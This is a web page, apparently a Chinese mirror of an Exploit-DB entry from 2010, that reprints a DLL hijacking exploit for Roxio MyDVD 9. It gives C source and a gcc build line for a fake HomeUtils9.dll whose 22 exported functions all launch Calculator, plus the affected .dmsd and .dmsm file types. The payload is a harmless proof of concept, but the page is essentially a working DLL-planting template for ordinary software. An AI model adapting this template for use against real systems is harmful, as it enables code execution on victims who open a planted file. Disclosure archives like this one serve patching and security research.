Roxio MyDVD 9 – ‘HomeUtils9.dll’ DLL Hijacking - 体验盒子

作者： storm

日期： 2010-08-25

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/14781/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

/*

Exploit Title: Roxio MyDVD 9 DLL Hijacking Exploit (HomeUtils9.dll)

Date: August 25, 2010

Author: storm (storm@gonullyourself.org)

Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o HomeUtils9.dll MyDVD9-DLL.c

.dmsd and .dmsm files are affected.

*/

#include <windows.h>

#define DllExport __declspec (dllexport)

DllExport void Dispatch_InvokeUpdate() { hax(); }

DllExport void GetCertificateItemValue() { hax(); }

DllExport void GetFeatureEnabled() { hax(); }

DllExport void GetFeatureEnabledGroup() { hax(); }

DllExport void GetFeatureGroup() { hax(); }

DllExport void GetFeatureGroupActivationDetail() { hax(); }

DllExport void GetRoxioKeyContents() { hax(); }

DllExport void LaunchPermission() { hax(); }

DllExport void LaunchPermission_Str() { hax(); }

DllExport void SAR_Dispatch_ActivateComponent() { hax(); }

DllExport void SAR_Dispatch_ActivateProduct() { hax(); }

DllExport void SAR_Dispatch_ActivateProductGroup() { hax(); }

DllExport void SAR_Dispatch_DoRegister() { hax(); }

DllExport void SAR_Dispatch_GetActivationDetail() { hax(); }

DllExport void SAR_Dispatch_IncrementUsage() { hax(); }

DllExport void SAR_Dispatch_IsActivated() { hax(); }

DllExport void SAR_Dispatch_IsRegistered() { hax(); }

DllExport void SAR_Dispatch_ReleaseActivation() { hax(); }

DllExport void SAR_GetCDKey() { hax(); }

DllExport void SAR_UsePermissionsCache() { hax(); }

DllExport void Upgrade() { hax(); }

DllExport void UseCodecPermission() { hax(); }

int hax()

{

WinExec("calc", 0);

exit(0);

return 0;

}